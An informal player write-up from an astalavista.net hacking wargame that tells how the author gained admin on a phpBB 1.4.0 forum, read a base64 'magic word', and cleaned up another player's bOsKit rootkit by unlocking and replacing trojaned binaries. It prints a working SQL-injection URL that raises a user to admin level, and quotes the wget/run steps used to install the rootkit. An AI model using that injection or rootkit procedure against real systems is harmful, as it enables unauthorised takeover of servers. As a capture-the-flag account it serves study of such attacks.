Whitepaper for astalavista.net wargame #3 by Xe0r

I'v didnt write about how I did all the target. I'm very sorry for this
but the reason is that I didnt have the time. And when I had to buy an
new PSU and HD and reinstall everything on my computer it dosnt help much.

In this whitepaper i'v mainly consentrated on what that happend to the server
in the middle of the game and how it got fixed.

Enjoy!

Target #1: Get MOD in the wargames-forum:
	Before I even started to look around at this one i'v looked
	for an version number. I looked at the button of the page where
	usually the version number is. I found it and it was version 1.4.0.
	Next I created an user. The next mission was to give my new
	user admin rights. An little search for '"phpbb 1.4.0" explit'
	leaded me to an well known exploits that gave normal users admin rights.

	It looked like this, the magic url to get admin rights:
	http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=
	1',user_level%3D'4'%20where%20username%3D'xe0r'%23

Target #3: Get the magic word!
	I was really lazy on this one. I skipped this one currently and
	went to the next goal, rooting the box. Then i just did an
	'cat /etc/magicword' to get the encrypted string. The encrypted
	string looked like this "c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz" and was
	encrypted in base64. Decoding it was easy, becouse off astlavista.net's
	Encryption Assortment Kit ;)

What happend to the box, why was it down?
	It was still bothering me that i'v got access denied when I'v was trying
to do 'ls'.
	Why? I'v didnt know yet. I just wanted to look around soo i'v just
downloaded and fresh
	version of ls from another box. After downloading the fresh version i'v
did an 'cp ls /bin/ls'
	I answered yes to replace it but i'v got access denied! I tried to do
'ps aux' to view
	what prosesses that is currently running, but guess what.. I'v got
access denied to 'ps'.
	I tried to 'rm -f /bin/ps' but without luck. Somehow those files was
locked and not executable.
	Trying to 'chmod 755 /bin/ps' didnt work eighter becouse the file was
locked.
	There isn't many ways to actually lock files under linux. But the first
thing that
	popped into my head was that it could be wrong attributes. The command
to change attributes
	is 'chattr', and the command to check them is 'lsattr'.
	I'v did an 'lsattr /bin/*' and found out lots of files witch had the
attribute +ias.

	+i	stands for an very strong write protection thing. No one can
write/delete or even
		(i think) hard link to it.

	+a	stands for append only, witch means that you cannot delete or
modify the file only append
		to it like echo "whoppa" >> append_only_file. Only root can set
that attribute.

	+s	stands for, im not really sure but i thing it is some kinda

system file.
I'v really never used it.

That files in the /bin dir has attributes was weird becouse no files in that dir should have that.
I'v looked looking trough the .bash_history in the /root folder and found some scary shit!
One of the line was something like this, 'wget www.server.com/tc.zip'. And the three lines
below that was 'unzip tc.zip', 'cd tc' and something like './tc'.
I'v downloaded the file on local computer and opened the README file to see what this shit was.
Just as i guessed, it was an root kit (bOsKit by termCREW) I'v looked on which files the root
kit replaced and the result was terrefying.

Under /bin/ it replaced and changed attributes on:
dir, encrypt, find, ifconfig, in.inetd, ls, lsof, md5sum, netstat, ps, pstree, slocate, syslogd, top

Under /lib/ it replaced this files:
libproc.a, libproc.so, libproc.so.2.0.6

I coulnt work with this so I changed ls and ps attributes to -ias soo I could
replace them with fresh ones that I got from another private server.
I also downloaded fresh versions of every files in the list, but not fresh libs.

The replacement of ls and ps did take place before I knew the whole list of files.

Now I could finally take a look around on the server. I'v looked at .bash_history files and
in many different logs. It was pretty funny to see what was in the apache error log. ;)
The apache error log took around 1GB after an week!

After this I left the server for an while, only checking some .bash_history files now and then.
I was reading the astalavista.net wargame forum when I found out that the server was down.
Gwanun said he coulnd get it up again after an reboot becouse he coulnt get the NIC up and
running. There was something wrong with ifconfig and the libs.

I'v U2U'ed him with some info that could help him on his way to fix it again. I didnt know if
my resepie of changing out the libs and all the other files whould work, but after one day
Gwanun U2U'ed me back with good news! Thanks Gwanun!

Well, that was the story of what that happend to the wargame and why it was down...

I want to say thanks for an good war game everyone especially Atluxity && Spoofed Existence! :D

- XeOr